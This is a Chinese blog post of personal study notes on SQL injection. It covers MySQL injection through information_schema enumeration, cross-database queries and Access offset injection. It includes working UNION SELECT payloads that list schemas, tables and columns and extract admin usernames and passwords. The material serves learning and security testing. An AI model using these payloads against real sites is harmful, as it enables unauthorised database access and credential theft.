1、WEB攻防-通用漏洞&SQL注入&MYSQL跨库&ACCESS偏移

本文介绍了MYSQL数据库的安全措施,包括非ROOT用户和ROOT用户注入攻击的原理,以及如何通过SQL注入进行黑盒和白盒测试。重点讲解了如何利用information_schema数据库获取敏感信息,如表名、列名,以及针对不同版本的防御策略和跨库查询注入实例。
摘要由CSDN通过智能技术生成

用途:个人学习笔记,欢迎指正!

前言:

为了网站和数据库的安全性,MYSQL 内置有 ROOT 最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。

MYSQL 两种思路:
ROOT 的注入攻击:常规类的猜解
ROOT 用户的注入攻击:文件读写操作,跨库查询注入等

SQL注入原理:

用户端提交的数据包中有可以控制的变量,而这个变量没有被过滤直接拼接到SQL语句中在数据库解析执行,从而通过构造这个变量使得拼接后的SQL语句可以额外对数据库做一些其他攻击操作。
或者说:sql 注入攻击是通过将恶意的 sql 查询或添加语句插入到应用的输入参数中,再在后台 sql 服务器上解析 执行进行的攻击。
黑盒测试中可以采用 user()获取当前用户权限,白盒中看连接用户即可!
select * from product where id=1513
select * from product where id=1513
查询 admin 表名:
UNION select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
查询 admin 表名下的 admin 等列名
UNION select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema :存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables :记录表名信息的表
information_schema.columns :记录列名信息表
information_schema.tables
获取相关数据:
1 、数据库版本 - 看是否符合 information_schema 查询 -version()-5.5.532
2 、数据库用户 - 看是否符合 ROOT 型注入攻击 -user()-root@localhost
3 、当前操作系统 - 看是否支持大小写或文件路径选择 -@@version_compile_os-win
4 、数据库名字 - 为后期猜解指定数据库下的表,列做准备 -database()-syguestbook

一、ROOT 类型攻击-猜解数据,文件读写,跨库查询

获取 syguestbook 数据库下面的表名信息:

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema='syguestbook'

获取表名 sy_adminuser 的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name='sy_adminuser' and table_schema='syguestbook'

获取指定数据:

UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

二、跨库注入:实现当前网站跨库查询其他数据库对应网站的数据

获取当前 mysql 下的所有数据库名

UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata

获取数据库名 xhcms 下的表名信息

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema='xhcms'

获取数据库名 xhcms 下的表 manage 下的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name='manage' and table_schema='xhcms'

获取指定数据:

UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage

三、小试牛刀 

 

#ASP+Access-简易注入-字典猜解

由于 Access 数据库特性导致这个 SQL 注入是需要借助字典去猜解表名和列名的,那么就会出现表名
或列名猜解不到,可以自定义社工字典或采用偏移注入!

#ASP+Access-偏移注入-报错显示

偏移注入就是解决表名已知,列名未知的情况!

 

  • 43
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

++⁠⁠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值